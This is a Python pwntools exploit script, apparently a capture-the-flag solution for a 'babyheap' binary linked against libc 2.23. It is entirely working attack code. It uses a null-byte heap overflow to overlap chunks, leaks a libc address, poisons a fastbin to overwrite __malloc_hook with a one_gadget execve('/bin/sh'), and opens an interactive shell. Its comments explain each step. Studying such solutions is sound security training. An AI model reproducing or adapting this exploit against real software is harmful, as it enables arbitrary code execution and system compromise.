#!/usr/bin/env python

from pwn import *

def alloc(size, content, attack=False):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('please input chunk size: ')
    p.sendline(str(size))

    if not attack:
        p.recvuntil('input chunk content: ')
        p.send(content)
    
def show(index):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('please input chunk index: ')
    p.sendline(str(index))

def delete(index):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('please input chunk index: ')
    p.sendline(str(index))

with context.quiet:
    p = process('./babyheap', env = {'LD_PRELOAD': './libc-2.23.so'})

    alloc(240, 'b' * 240) # 0 (256) smallbin_1
    alloc(112, 'c' * 112) # 1 (128) fastbin_1
    alloc(240, 'd' * 240) # 2 (256) smallbin_2
    alloc(16, 'e' * 16)   # 3 (32)  fastbin_2 (in order to prevent consolidation with top chunk)

    delete(0)
    delete(1)

    # write one null byte to convert smallbin_2's size from 0x101 to 0x100
    # make the smallbin_2's previous chunk NOT in use
    # make smallbin_2's prev_size == 384
    alloc(120, 'f' * 112 + p64(384)) # 0 (128) fastbin_3

    # smallbin_2 consolidates with smallbin_1 because its prev_size == 384
    # basically, fastbin_1 is forgotten
    delete(2)

    # fastbin_1 overlaps with a free chunk
    # free chunk's fd and bk point to main arena
    alloc(240, 'g' * 240) # 1 (256) smallbin_3

    # leak the main arena address, which leads to libc base address
    show(0)

    p.recvuntil('content: ')
    libc_base = u64(p.recv(6) + '\x00\x00') - 0x3c4b78

    print 'libc base: {}'.format(hex(libc_base))

    # will get a free chunk with size of 640
    delete(1)

    alloc(208, 'h' * 208) # 1 (224) smallbin_4

    # recover the fastbin_3's header
    alloc(128, 'i' * 16 + p64(0) + p64(113) + p64(0) + p64(0) + '\n') # 2 (144) smallbin_5

    delete(0)
    delete(2)

    # set fastbin_8's fd pointer to the fake chunk
    # basically, the size for the fake chunk will be 120
    fake_chunk = libc_base + 0x3c4aed
    print 'Fake Chunk: {}'.format(hex(fake_chunk))

    # put the fake chunk's address in fastbin_3's fd
    alloc(128, 'j' * 16 + p64(0) + p64(113) + p64(fake_chunk) + p64(0) + '\n') # 0 (144) smallbin_6

    # put fake_chunk's address in the free bin list
    alloc(96, 'k' * 96) # 2 (112) fastbin_7

    # this new alloc will return the fake chunk address
    # we then overwrite __malloc_hook with the address of onegadet's execve
    # 0x4526a execve("/bin/sh", rsp+0x30, environ)
    # constraints:
    #    [rsp+0x30] == NULL

    alloc(96, 'l' * 19 + p64(libc_base + 0x4526a) + '\n') # 4 (112) fastbin_8

    # this new alloc will call __malloc_hook, which jumps to onegadget's execve
    alloc(1, '\n', True)

    p.interactive()

